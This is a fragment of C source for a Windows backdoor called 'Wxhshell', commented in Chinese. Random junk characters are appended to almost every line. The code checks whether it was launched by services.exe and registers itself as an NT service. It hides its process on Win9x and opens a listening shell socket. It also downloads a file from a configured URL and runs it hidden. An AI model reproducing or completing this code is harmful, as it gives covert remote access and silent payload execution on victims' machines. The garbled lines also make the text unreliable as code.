DWORD PebBaseAddress; 4zs1BiMG
DWORD AffinityMask; x*&
OvI/o
DWORD BasePriority; RQ}(}|1+\
ULONG UniqueProcessId; %7%7
W*0d
ULONG InheritedFromUniqueProcessId; *c4uCI:0t
} PROCESS_BASIC_INFORMATION; gQ4Q
h;
HMGby2^+
PROCNTQSIP NtQueryInformationProcess; ;SoKX?up5
i <0H W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |@?B%sY
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a3e<<<Z>R
|6w.m<p
HANDLE hProcess; c9imfA+e
PROCESS_BASIC_INFORMATION pbi; ~L(=-B`Ow
0yr=$F(]s
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .}>d[},F
if(NULL == hInst ) return 0; ,g2|8>sJP
Z3?,r[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V{@
xhW0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z_Jprp{3h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =xcA4"k
HSGM&!5mW
if (!NtQueryInformationProcess) return 0; c=]qUhnH
w6DK&@w`'/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y%)5r}S^
if(!hProcess) return 0; .4Ob?ZS(
>ch{u{i6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v9R#=m/=
E6a$c`H@?
CloseHandle(hProcess); IB:eyq-+
5Nc~cD%0tK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M,@\*qlEJ
if(hProcess==NULL) return 0; {;0j9rr
'WK}T)o
HMODULE hMod; Qb}7lm{r
char procName[255]; %"^$$$6%
unsigned long cbNeeded;
}rf_:
3|zqEGT*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Su`LB z"
1];rW`Bw
CloseHandle(hProcess); Nw ;BhBt
fD+'{ivN4
if(strstr(procName,"services")) return 1; // 以服务启动 ^ZnlWZ@r
7NC"}JB&
return 0; // 注册表启动 .|Y2'TWQ
} 'W>Bz,M6yo
9Axk-c
// 主模块 amq]&.M
int StartWxhshell(LPSTR lpCmdLine) |S48xsFvq
{ :q=u+h_
SOCKET wsl; 02E-|p;
BOOL val=TRUE; "&?F6Pi
int port=0; `$oGgz6ZT
struct sockaddr_in door; l'=H,8LfA
, f9V`Pz)
if(wscfg.ws_autoins) Install(); wy6> ^_z
].53t"*
port=atoi(lpCmdLine); (pM5B8U
UMR0S5`}
if(port<=0) port=wscfg.ws_port; >m='#x0>Y
|_L\^T|6
WSADATA data; !xmvCH=2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +7n;Bsk
_
`<&RZB2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cPA-EH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pk/{~!+
$
door.sin_family = AF_INET; NIufL
}6\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dr0<K[S_
door.sin_port = htons(port); kbzzage6L
IJHNb_Cku
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @
hH;d\W#
closesocket(wsl); Kp?):6
return 1; H59}d
oKH
} : l>&5w;
%UZ_wsY\
if(listen(wsl,2) == INVALID_SOCKET) { }~pT
saw
closesocket(wsl); 1gk{|keh
return 1; C9zQ{G
}
O\y#|=d
Wxhshell(wsl); :0G "EM4
WSACleanup(); ^ FNvVbK|`
5&a4c"fU
return 0; M{I8b<hY
ipU,.@~#
} oC0K!{R*
;u`zZb=,[
// 以NT服务方式启动 S^nshQI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8CKN^8E
{ ,grdl|Dg
DWORD status = 0; `^HAWo;J
DWORD specificError = 0xfffffff; 55xaZ#|
4i0~t~vDpr
serviceStatus.dwServiceType = SERVICE_WIN32; ,'[L6=#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |uo<<-\jTO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1{@f:~ v?
serviceStatus.dwWin32ExitCode = 0; Uywi,9f
serviceStatus.dwServiceSpecificExitCode = 0; !K a!f1
serviceStatus.dwCheckPoint = 0; iXt1{VP'K
serviceStatus.dwWaitHint = 0; J.'}R2gT1
dw{L,u`68
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t\44 Pu%
if (hServiceStatusHandle==0) return; ~lO^C
y<r7_ysi
status = GetLastError(); ZuZe8&
if (status!=NO_ERROR) yZ?|u57
{ I4'mU$)U
serviceStatus.dwCurrentState = SERVICE_STOPPED; N8a+X|3]0
serviceStatus.dwCheckPoint = 0; p6~\U5rXm
serviceStatus.dwWaitHint = 0; Pd-0u>k
serviceStatus.dwWin32ExitCode = status; W,&z:z>
serviceStatus.dwServiceSpecificExitCode = specificError; P.^%8L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UHr0J jQK
return; y4* }E
} 3LXS}~&
*s4h tt
serviceStatus.dwCurrentState = SERVICE_RUNNING; 57r?`'#*
serviceStatus.dwCheckPoint = 0; bxX[$q
serviceStatus.dwWaitHint = 0; &w\E*$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I2G4j/c=z
} ^8dd
!Ld0c4
// 处理NT服务事件,比如:启动、停止 JU^{!u
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vk%[N>
{ I|jGu9G
switch(fdwControl) g+>$_s
{ ]pUf[^4
case SERVICE_CONTROL_STOP: ,>(/}=Z.
serviceStatus.dwWin32ExitCode = 0; i}SJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; DY2r6bcn`
serviceStatus.dwCheckPoint = 0; \-(.cj)?
serviceStatus.dwWaitHint = 0; ')C%CAYW
{ 951"0S`Lo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cRYnQ{$'
} CBaU$`5
return; Gvg)@VNr
case SERVICE_CONTROL_PAUSE: J9s4lsea
serviceStatus.dwCurrentState = SERVICE_PAUSED; vY|{CBGbd
break; wX(h]X"q
case SERVICE_CONTROL_CONTINUE: paFiuQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; d+FS
break; ,_HSvs7-
case SERVICE_CONTROL_INTERROGATE: z'cVq}vl
break; Glz)-hjJ:n
}; 'N1_:$z@(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }yM /z
} OsS5WY0H
JP$@*F@t
// 标准应用程序主函数 sg@)IEg</v
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8GpPyG
],e
{ N}`.N
jys1Ki
// 获取操作系统版本 s$g"6;_\
OsIsNt=GetOsVer(); h<KE)^).
GetModuleFileName(NULL,ExeFile,MAX_PATH); U)IW6)q
9+'QH
// 从命令行安装 CKJ9YKu{W
if(strpbrk(lpCmdLine,"iI")) Install(); /8V#6d_
&Xr@nt0H
// 下载执行文件 :e9}k5kdk
if(wscfg.ws_downexe) { tK9_]663
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4
ZD~i e
WinExec(wscfg.ws_filenam,SW_HIDE); 02g!mJW>}y
} osKM3}Sb
=#WoeWFW*
if(!OsIsNt) { MQD%m ;[s
// 如果时win9x,隐藏进程并且设置为注册表启动 i3C5"\y
HideProc(); "Mt4~vy
StartWxhshell(lpCmdLine); w!$|IC
} K$>C*?R
else H.\gLIr
if(StartFromService()) C>%2'S^.b
// 以服务方式启动 Rw4"co6
StartServiceCtrlDispatcher(DispatchTable); HJFt{tq2
else 8Ar5^.k
// 普通方式启动 wc#+Yh6
StartWxhshell(lpCmdLine); hh\\api
hoy+J/
return 0; CV/ei,=9
}